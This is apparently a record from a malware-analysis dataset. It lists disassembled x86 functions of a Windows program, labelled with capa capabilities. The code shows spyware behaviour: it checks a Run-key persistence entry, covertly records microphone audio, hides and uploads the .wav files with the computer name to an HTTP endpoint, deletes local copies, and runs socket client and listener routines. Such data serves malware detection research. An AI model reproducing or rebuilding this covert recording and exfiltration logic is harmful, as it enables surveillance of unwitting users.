joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403d80
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push edi
xor edi, edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp], eax
call sub.msvcrt.dll_srand
xor esi, esi
jmp 0x403db0
mov eax, dword [edi*4 + 0x5360dc]
mov dword [esp], eax
call sub.msvcrt.dll_getenv
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov ecx, dword [esi*4 + 0x5360c0]
mov ebx, eax
mov dword [esp], ecx
call sub.msvcrt.dll_strlen
lea edx, [ebx + eax + 8]
mov dword [esp], edx
call fcn.004efee0
mov ebx, eax
mov eax, dword [edi*4 + 0x5360dc]
mov dword [esp], eax
call sub.msvcrt.dll_getenv
mov dword [esp + 8], eax
mov ecx, dword [esi*4 + 0x5360c0]
mov edx, 0x5054d0
mov dword [esp + 4], edx
mov dword [esp], ebx
mov dword [esp + 0xc], ecx
call sub.msvcrt.dll_sprintf
mov dword [esp], ebx
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
jne 0x403eb4
test ebx, ebx
je 0x403e35
mov dword [esp], ebx
call fcn.004eff80
inc esi
cmp esi, 7
jl 0x403db0
inc edi
cmp edi, 1
jl 0x403d9f
call sub.msvcrt.dll_rand
mov edi, 1
cdq
idiv edi
mov eax, dword [edx*4 + 0x5360dc]
mov dword [esp], eax
call sub.msvcrt.dll_getenv
mov edi, eax
call sub.msvcrt.dll_rand
mov dword [esp], edi
mov ecx, 7
cdq
idiv ecx
mov esi, dword [edx*4 + 0x5360c0]
call sub.msvcrt.dll_strlen
mov ebx, eax
mov dword [esp], esi
call sub.msvcrt.dll_strlen
lea edx, [ebx + eax + 8]
mov dword [esp], edx
call fcn.004efee0
mov dword [esp + 0xc], esi
mov esi, 0x5054d0
mov ebx, eax
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
lea esp, [ebp - 0xc]
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x403ec0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push edi
xor edi, edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp], eax
call sub.msvcrt.dll_srand
nop
call fcn.00403d80
mov dword [esp], eax
mov ebx, eax
call sub.msvcrt.dll_strlen
mov esi, eax
mov eax, dword [edi*4 + 0x5360a0]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
lea ecx, [esi + eax + 8]
mov dword [esp], ecx
call fcn.004efee0
mov edx, dword [edi*4 + 0x5360a0]
mov esi, eax
mov eax, 0x5054d0
mov dword [esp + 8], ebx
mov dword [esp + 0xc], edx
mov dword [esp + 4], eax
mov dword [esp], esi
call sub.msvcrt.dll_sprintf
test ebx, ebx
je 0x403f3a
mov dword [esp], ebx
call fcn.004eff80
mov dword [esp], esi
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
jne 0x403fc6
test esi, esi
je 0x403f56
mov dword [esp], esi
call fcn.004eff80
inc edi
cmp edi, 8
jl 0x403ee0
call fcn.00403d80
mov esi, eax
call sub.msvcrt.dll_rand
cdq
mov ecx, 8
idiv ecx
mov ebx, dword [edx*4 + 0x5360a0]
mov dword [esp], esi
call sub.msvcrt.dll_strlen
mov dword [esp], ebx
mov edi, eax
call sub.msvcrt.dll_strlen
lea edx, [edi + eax + 8]
mov dword [esp], edx
call fcn.004efee0
mov dword [esp + 0xc], ebx
mov ebx, 0x5054d0
mov edi, eax
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
test esi, esi
je 0x403fbc
mov dword [esp], esi
call fcn.004eff80
lea esp, [ebp - 0xc]
mov eax, edi
pop ebx
pop esi
pop edi
pop ebp
ret
lea esp, [ebp - 0xc]
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x403fd0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push edi
xor edi, edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp], eax
call sub.msvcrt.dll_srand
nop
call fcn.00403d80
mov dword [esp], eax
mov esi, eax
call sub.msvcrt.dll_strlen
mov ebx, eax
mov eax, dword [edi*4 + 0x53604c]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
lea ecx, [ebx + eax + 8]
mov dword [esp], ecx
call fcn.004efee0
mov edx, dword [edi*4 + 0x53604c]
mov ebx, eax
mov eax, 0x5054d0
mov dword [esp + 8], esi
mov dword [esp + 0xc], edx
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.msvcrt.dll_sprintf
mov dword [esp], ebx
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
jne 0x4040da
test esi, esi
je 0x40405e
mov dword [esp], esi
call fcn.004eff80
test ebx, ebx
je 0x40406a
mov dword [esp], ebx
call fcn.004eff80
inc edi
cmp edi, 7
jl 0x403ff0
call fcn.00403d80
mov esi, eax
call sub.msvcrt.dll_rand
mov ebx, 7
cdq
idiv ebx
mov ebx, dword [edx*4 + 0x53604c]
mov dword [esp], esi
call sub.msvcrt.dll_strlen
mov dword [esp], ebx
mov edi, eax
call sub.msvcrt.dll_strlen
lea ecx, [edi + eax + 8]
mov dword [esp], ecx
call fcn.004efee0
mov dword [esp], eax
mov edx, 0x5054d0
mov edi, eax
mov dword [esp + 0xc], ebx
mov dword [esp + 8], esi
mov dword [esp + 4], edx
call sub.msvcrt.dll_sprintf
test esi, esi
je 0x4040d0
mov dword [esp], esi
call fcn.004eff80
lea esp, [ebp - 0xc]
mov eax, edi
pop ebx
pop esi
pop edi
pop ebp
ret
lea esp, [ebp - 0xc]
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4040f0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push edi
xor edi, edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp], eax
call sub.msvcrt.dll_srand
nop
call fcn.00403d80
mov dword [esp], eax
mov esi, eax
call sub.msvcrt.dll_strlen
mov ebx, eax
mov eax, dword [edi*4 + 0x53603c]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
lea ecx, [ebx + eax + 8]
mov dword [esp], ecx
call fcn.004efee0
mov edx, dword [edi*4 + 0x53603c]
mov ebx, eax
mov eax, 0x5054d0
mov dword [esp + 8], esi
mov dword [esp + 0xc], edx
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.msvcrt.dll_sprintf
mov dword [esp], ebx
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
jne 0x4041fa
test esi, esi
je 0x40417e
mov dword [esp], esi
call fcn.004eff80
test ebx, ebx
je 0x40418a
mov dword [esp], ebx
call fcn.004eff80
inc edi
cmp edi, 4
jl 0x404110
call fcn.00403d80
mov esi, eax
call sub.msvcrt.dll_rand
mov ebx, 4
cdq
idiv ebx
mov ebx, dword [edx*4 + 0x53603c]
mov dword [esp], esi
call sub.msvcrt.dll_strlen
mov dword [esp], ebx
mov edi, eax
call sub.msvcrt.dll_strlen
lea ecx, [edi + eax + 8]
mov dword [esp], ecx
call fcn.004efee0
mov dword [esp], eax
mov edx, 0x5054d0
mov edi, eax
mov dword [esp + 0xc], ebx
mov dword [esp + 8], esi
mov dword [esp + 4], edx
call sub.msvcrt.dll_sprintf
test esi, esi
je 0x4041f0
mov dword [esp], esi
call fcn.004eff80
lea esp, [ebp - 0xc]
mov eax, edi
pop ebx
pop esi
pop edi
pop ebp
ret
lea esp, [ebp - 0xc]
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x404210
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, 8
push esi
lea esi, [ebp - 0x10]
push ebx
sub esp, 0x1c
xor ebx, ebx
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp], eax
call sub.msvcrt.dll_srand
jmp 0x404246
inc ebx
cmp ebx, 8
jge 0x4042c0
mov dword [esp + 0x10], esi
xor edx, edx
mov ecx, 0x20019
mov dword [esp + 8], edx
mov eax, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp + 0xc], ecx
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyExA
mov edx, dword [ebp - 0x10]
sub esp, 0x14
test edx, edx
je 0x404240
xor eax, eax
xor ecx, ecx
mov dword [esp + 0x14], eax
xor eax, eax
mov dword [esp + 0x10], ecx
xor ecx, ecx
mov dword [esp + 0xc], eax
mov dword [esp + 8], ecx
mov eax, dword [ebx*4 + 0x536080]
mov dword [esp], edx
mov dword [esp + 4], eax
call sub.ADVAPI32.DLL_RegQueryValueExA
sub esp, 0x18
test eax, eax
je 0x4042d7
mov edx, dword [ebp - 0x10]
inc ebx
mov dword [esp], edx
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
cmp ebx, 8
jl 0x404246
mov esi, esi
call sub.msvcrt.dll_rand
cdq
idiv edi
mov eax, dword [edx*4 + 0x536080]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov esi, dword [ebp - 0x10]
mov dword [esp], esi
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
mov eax, dword [ebx*4 + 0x536080]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x404300
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x12c
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp], eax
call sub.msvcrt.dll_srand
call fcn.004040f0
mov dword [esp], eax
mov ebx, eax
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
jne 0x404376
test ebx, ebx
je 0x404343
mov dword [esp], ebx
call fcn.004eff80
call sub.msvcrt.dll_rand
mov ebx, dword [0x5360e0]
mov dword [esp], ebx
call sub.msvcrt.dll_strlen
mov dword [esp], eax
call fcn.004efee0
mov dword [esp], eax
mov esi, eax
mov dword [esp + 4], ebx
call sub.msvcrt.dll_strcpy
lea esp, [ebp - 0xc]
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], ebx
mov eax, 0x505506
mov dword [esp + 4], eax
call sub.msvcrt.dll_fopen
test eax, eax
mov esi, eax
je 0x404337
xor edx, edx
test byte [eax + 0xc], 0x10
mov dword [ebp - 0x11c], edx
jne 0x4043e3
lea edi, [ebp - 0x118]
jmp 0x4043b0
mov byte [ebp - 0x118], 0
mov eax, 0x505508
mov dword [esp + 8], edi
mov dword [esp + 4], eax
mov dword [esp], esi
call sub.msvcrt.dll_fscanf
movzx ecx, byte [ebp - 0x118]
cmp ecx, 1
sbb dword [ebp - 0x11c], 0xffffffff
test byte [esi + 0xc], 0x10
je 0x4043b0
mov dword [esp], esi
xor ecx, ecx
xor edx, edx
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
call sub.msvcrt.dll_fseek
mov edi, dword [ebp - 0x11c]
test edi, edi
jle 0x40445a
mov dword [esp], 0x100
call fcn.004efee0
mov byte [eax], 0
mov edi, eax
call sub.msvcrt.dll_rand
cdq
idiv dword [ebp - 0x11c]
test edx, edx
js 0x404448
lea ebx, [edx + 1]
lea esi, [esi]
lea edi, [edi]
mov dword [esp + 8], edi
mov eax, 0x505508
mov dword [esp + 4], eax
mov dword [esp], esi
call sub.msvcrt.dll_fscanf
dec ebx
jne 0x404430
mov dword [esp], esi
call sub.msvcrt.dll_fclose
lea esp, [ebp - 0xc]
mov eax, edi
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], esi
call sub.msvcrt.dll_fclose
jmp 0x404337

Function at 0x404470
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push edi
xor edi, edi
push esi
push ebx
sub esp, 0x1c
movsx ebx, byte [ebp + 8]
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp], eax
call sub.msvcrt.dll_srand
mov dword [ebp - 0x14], ebx
lea esi, [esi]
lea edi, [edi]
mov dword [ebp - 0x10], esp
mov esi, dword [edi*4 + 0x536020]
mov dword [esp], esi
call sub.msvcrt.dll_strlen
add eax, 0x26
and eax, 0xfffffff0
call fcn.004f2010
mov dword [esp + 0xc], esi
lea ebx, [esp + 0x1f]
mov eax, str._c:_s
mov edx, dword [ebp - 0x14]
and ebx, 0xfffffff0
mov dword [esp + 4], eax
mov dword [esp], ebx
mov dword [esp + 8], edx
call sub.msvcrt.dll_sprintf
mov dword [esp], ebx
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
jne 0x404515
inc edi
cmp edi, 7
mov esp, dword [ebp - 0x10]
jl 0x4044a0
call sub.msvcrt.dll_rand
cdq
mov ecx, 7
idiv ecx
mov eax, dword [edx*4 + 0x536020]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [edi*4 + 0x536020]
mov esp, dword [ebp - 0x10]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x404b20
Capabilities:
Create thread
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x13c
mov eax, dword [ebp + 8]
cmp byte [eax], 0
jne 0x404b3c
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], str.NUMBER_OF_PROCESSORS
call sub.msvcrt.dll_getenv
mov dword [esp], eax
call sub.msvcrt.dll_atoi
lea edi, [eax + eax*2]
test edi, edi
jne 0x404b5c
mov edi, 2
xor edx, edx
mov dword [ebp - 0x11c], edx
mov esi, 0x100
xor eax, eax
lea ecx, [ebp - 0x118]
mov dword [esp + 0x14], esi
mov esi, dword [ebp + 8]
mov edx, 0xa
mov dword [esp + 0x10], ecx
lea ebx, [ebp - 0x11c]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.00409240
test al, al
je 0x404bfb
test edi, edi
jle 0x404b64
mov esi, edi
mov dword [esp], 0x100
call fcn.004efee0
mov dword [esp], eax
mov ebx, eax
lea ecx, [ebp - 0x118]
mov dword [esp + 4], ecx
call sub.msvcrt.dll_strcpy
mov dword [esp + 0xc], ebx
xor edx, edx
xor eax, eax
mov dword [esp + 0x14], edx
xor ecx, ecx
mov ebx, 0x404ab0
mov dword [esp + 0x10], eax
mov dword [esp + 8], ebx
mov dword [esp + 4], ecx
mov dword [esp], 0
call sub.KERNEL32.dll_CreateThread
sub esp, 0x18
dec esi
jne 0x404ba5
jmp 0x404b64
mov dword [esp], 0x3e8
call sub.KERNEL32.dll_Sleep
sub esp, 4
mov dword [esp], 0x3e8
call sub.KERNEL32.dll_Sleep
sub esp, 4
jmp 0x404bfb

Function at 0x405280
Capabilities:
Capture microphone audio

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov esi, dword [ebp + 8]
mov edi, esp
mov dword [esp], esi
call sub.msvcrt.dll_strlen
add eax, 0x3e
and eax, 0xfffffff0
call fcn.004f2010
mov dword [esp], str.open_new_type_waveaudio_alias_mic_buffer_6
xor ecx, ecx
xor edx, edx
mov dword [esp + 8], ecx
xor eax, eax
lea ebx, [esp + 0x1f]
mov dword [esp + 4], edx
and ebx, 0xfffffff0
mov dword [esp + 0xc], eax
call sub.WINMM.DLL_mciSendStringA
sub esp, 0x10
xor ecx, ecx
xor edx, edx
mov dword [esp + 8], ecx
xor eax, eax
mov dword [esp + 4], edx
mov dword [esp + 0xc], eax
mov dword [esp], str.record_mic
call sub.WINMM.DLL_mciSendStringA
mov eax, dword [ebp + 0xc]
sub esp, 0x10
mov dword [esp], eax
call sub.KERNEL32.dll_Sleep
sub esp, 4
xor edx, edx
xor ecx, ecx
mov dword [esp + 8], edx
xor eax, eax
mov dword [esp + 0xc], ecx
mov dword [esp + 4], eax
mov dword [esp], str.stop_mic
call sub.WINMM.DLL_mciSendStringA
sub esp, 0x10
mov ecx, str.save_mic__s
mov dword [esp + 8], esi
xor esi, esi
mov dword [esp + 4], ecx
mov dword [esp], ebx
call sub.msvcrt.dll_sprintf
mov dword [esp + 4], esi
xor edx, edx
xor eax, eax
mov dword [esp + 0xc], edx
mov dword [esp], ebx
mov dword [esp + 8], eax
call sub.WINMM.DLL_mciSendStringA
sub esp, 0x10
xor ecx, ecx
xor edx, edx
mov dword [esp + 0xc], ecx
xor eax, eax
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], str.close_mic
call sub.WINMM.DLL_mciSendStringA
sub esp, 0x10
mov esp, edi
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x405380
Capabilities:
Delete file
Query environment variable
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp], eax
call sub.msvcrt.dll_srand
lea esi, [esi]
mov dword [ebp - 0x10], esp
call sub.msvcrt.dll_rand
mov ecx, 0x88888889
mov esi, eax
imul ecx
mov eax, esi
lea ebx, [esi + edx]
sar ebx, 4
cdq
sub ebx, edx
mov eax, ebx
shl eax, 4
mov edx, str..wav
sub eax, ebx
mov dword [esp + 4], edx
add eax, eax
sub esi, eax
lea ecx, [esi + 2]
mov dword [esp], ecx
call fcn.004090e0
mov dword [esp], 0x5056e5
mov esi, eax
call sub.msvcrt.dll_getenv
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp], esi
mov edi, eax
call sub.msvcrt.dll_strlen
lea ebx, [edi + eax + 0x26]
and ebx, 0xfffffff0
mov eax, ebx
call fcn.004f2010
mov dword [esp], 0x5056e5
lea edi, [esp + 0x23]
and edi, 0xfffffff0
call sub.msvcrt.dll_getenv
mov dword [esp + 8], eax
mov ecx, 0x5056ea
mov dword [esp + 4], ecx
mov dword [esp + 0xc], esi
mov dword [esp], edi
call sub.msvcrt.dll_sprintf
mov dword [esp], edi
mov edx, 0x7530
mov dword [esp + 4], edx
call fcn.00405280
mov dword [esp], edi
mov eax, 6
mov dword [esp + 4], eax
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
mov ecx, edi
lea esi, [esi]
mov esi, dword [ecx]
add ecx, 4
lea edx, [esi - 0x1010101]
not esi
and edx, esi
mov eax, edx
and eax, 0x80808080
je 0x405460
and edx, 0x8080
jne 0x405486
shr eax, 0x10
add ecx, 2
add al, al
sbb ecx, 3
sub ecx, edi
lea eax, [ecx + 0x26]
and eax, 0xfffffff0
call fcn.004f2010
mov dword [esp + 8], edi
lea esi, [esp + 0x23]
mov edx, 0x5056f0
mov dword [esp + 4], edx
and esi, 0xfffffff0
mov dword [esp], esi
call sub.msvcrt.dll_sprintf
mov dword [esp], 2
call fcn.004086f0
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp], 2
mov ebx, eax
call fcn.004086f0
mov dword [esp + 8], eax
mov dword [esp + 0xc], ebx
mov dword [esp + 4], esi
mov dword [esp], edi
call fcn.0040a710
mov dword [esp], esi
mov ecx, 6
mov dword [esp + 4], ecx
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
mov dword [esp], edi
call sub.msvcrt.dll_remove
call fcn.00404300
mov dword [esp], eax
mov edi, eax
call sub.msvcrt.dll_strlen
mov ebx, eax
call fcn.00408e90
mov dword [esp], eax
call sub.msvcrt.dll_strlen
lea ebx, [ebx + eax + 0x67]
and ebx, 0xfffffff0
mov eax, ebx
call fcn.004f2010
lea ebx, [esp + 0x23]
and ebx, 0xfffffff0
call fcn.00408e90
mov dword [esp + 0x10], eax
mov edx, 0x5056f6
mov ecx, str.http:___s__s_enccomp_sextrec.wav
mov dword [esp + 0xc], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], edi
mov dword [esp], ebx
call sub.msvcrt.dll_sprintf
mov dword [esp + 8], esi
mov eax, 0x505725
mov edx, 0x50573e
mov dword [esp + 0xc], eax
mov dword [esp + 4], edx
mov dword [esp], ebx
call fcn.004055c0
test edi, edi
je 0x40558a
mov dword [esp], edi
call fcn.004eff80
mov dword [esp], esi
call sub.msvcrt.dll_remove
mov dword [esp], 0x493e0
call sub.KERNEL32.dll_Sleep
sub esp, 4
mov esp, dword [ebp - 0x10]
jmp 0x4053a0
Function at 0x408220
Capabilities:
Connect socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0xc], ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 8], esi
mov esi, dword [ebp + 0xc]
mov dword [ebp - 4], edi
mov edi, dword [ebp + 0x10]
mov dword [esp + 4], ebx
mov dword [esp], 0x101
call sub.WSOCK32.DLL_WSAStartup
sub esp, 8
test eax, eax
js 0x4082c0
mov dword [esp], 2
xor eax, eax
mov ecx, 1
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
call sub.WSOCK32.DLL_socket
mov dword [ebx + 0x190], eax
sub esp, 0xc
inc eax
je 0x4082a6
mov dword [esp], esi
call sub.WSOCK32.DLL_gethostbyname
mov dword [ebx + 0x1a4], eax
sub esp, 4
test eax, eax
jne 0x4082d8
mov dword [ebp + 0xc], esi
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov dword [ebp + 8], str.Error_in_gethostbyname___s__n
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
jmp 0x4f3ab0
mov dword [ebp + 8], str.Error_in_socket_..._
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
jmp 0x4f3aa0
mov dword [ebp + 8], str.Error_in_WSAStartup_..._
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
jmp 0x4f3aa0
mov esi, dword [eax + 0xc]
mov ecx, 2
mov word [ebx + 0x194], cx
movzx ecx, di
mov edx, dword [esi]
mov edi, 0x10
lea esi, [ebx + 0x194]
mov eax, dword [edx]
mov dword [ebx + 0x198], eax
mov dword [esp], ecx
call sub.WSOCK32.DLL_htons
mov word [ebx + 0x196], ax
sub esp, 4
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov edx, dword [ebx + 0x190]
mov dword [esp], edx
call sub.WSOCK32.DLL_connect
sub esp, 0xc
inc eax
je 0x408345
mov dword [ebp + 8], 0x536150
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
jmp fcn.004079a0
mov dword [ebp + 8], str.Error_in_connect_..._
jmp 0x4082ad
jmp dword [sym.imp.msvcrt.dll_puts]
jmp dword [sym.imp.msvcrt.dll_printf]

Function at 0x4083c0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
xor edx, edx
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], edx
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov eax, dword [edx + 0x190]
mov dword [esp], eax
call sub.WSOCK32.DLL_recv
sub esp, 0x10
leave
ret

Function at 0x4083f0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
xor edx, edx
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], edx
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov eax, dword [edx + 0x190]
mov dword [esp], eax
call sub.WSOCK32.DLL_send
sub esp, 0x10
leave
ret
Function at 0x408480
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov esi, dword [ebp + 0x14]
mov ebx, dword [ebp + 8]
test esi, esi
je 0x408499
mov dword [esi], 0
mov dword [esp + 4], ebx
mov dword [esp], 0x202
call sub.WSOCK32.DLL_WSAStartup
sub esp, 8
xor edx, edx
test eax, eax
je 0x4084c0
lea esp, [ebp - 0xc]
mov eax, edx
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], 2
mov ecx, 1
xor edi, edi
mov dword [esp + 4], ecx
mov dword [esp + 8], edi
xor edi, edi
call sub.WSOCK32.DLL_socket
mov dword [ebx + 0x400], eax
movzx eax, word [ebp + 0x10]
sub esp, 0xc
mov edx, 2
mov word [ebx + 0x408], dx
mov dword [esp], eax
call sub.WSOCK32.DLL_htons
mov word [ebx + 0x40a], ax
sub esp, 4
mov ecx, 0x10
mov dword [ebx + 0x40c], edi
lea edx, [ebx + 0x408]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov eax, dword [ebx + 0x400]
mov dword [esp], eax
call sub.WSOCK32.DLL_bind
sub esp, 0xc
test eax, eax
jne 0x408600
mov ecx, 0x100
lea edi, [ebx + 0x418]
mov dword [esp + 4], ecx
mov eax, dword [ebx + 0x400]
mov dword [esp], eax
call sub.WSOCK32.DLL_listen
sub esp, 8
lea edx, [ebx + 0x428]
test eax, eax
mov dword [ebp - 0x10], edx
je 0x4085c7
jmp 0x408600
inc dword [esi]
mov edx, 4
lea ecx, [ebx + 0x41c]
mov dword [esp + 4], edx
mov eax, 2
mov dword [esp], ecx
mov dword [esp + 8], eax
call sub.WSOCK32.DLL_gethostbyaddr
sub esp, 0xc
xor eax, eax
xor edx, edx
mov dword [esp + 0x10], edx
lea ecx, [ebx + 0x404]
xor edx, edx
mov dword [esp + 0x14], eax
mov dword [esp + 0xc], ecx
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], edx
mov dword [esp], 0
mov dword [esp + 8], eax
call sub.KERNEL32.dll_CreateThread
sub esp, 0x18
mov edx, dword [ebp - 0x10]
mov dword [esp + 4], edi
mov dword [esp + 8], edx
mov ecx, dword [ebx + 0x400]
mov dword [esp], ecx
call sub.WSOCK32.DLL_accept
mov dword [ebx + 0x404], eax
sub esp, 0xc
test eax, eax
jne 0x408570
lea esp, [ebp - 0xc]
mov edx, 1
mov eax, edx
pop ebx
pop esi
pop edi
pop ebp
ret
mov esi, dword [ebx + 0x400]
mov dword [esp], esi
call sub.WSOCK32.DLL_closesocket
sub esp, 4
call sub.WSOCK32.DLL_WSACleanup
lea esp, [ebp - 0xc]
xor edx, edx
mov eax, edx
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x408e90
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
cmp byte [0x536184], 0
je 0x408ea6
mov eax, dword [0x536180]
leave
ret
mov dword [esp], 0x100
call fcn.004efee0
mov dword [0x536180], eax
lea edx, [ebp - 4]
mov dword [ebp - 4], 0x100
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.KERNEL32.dll_GetComputerNameA
mov byte [0x536184], 1
mov eax, dword [0x536180]
sub esp, 8
leave
ret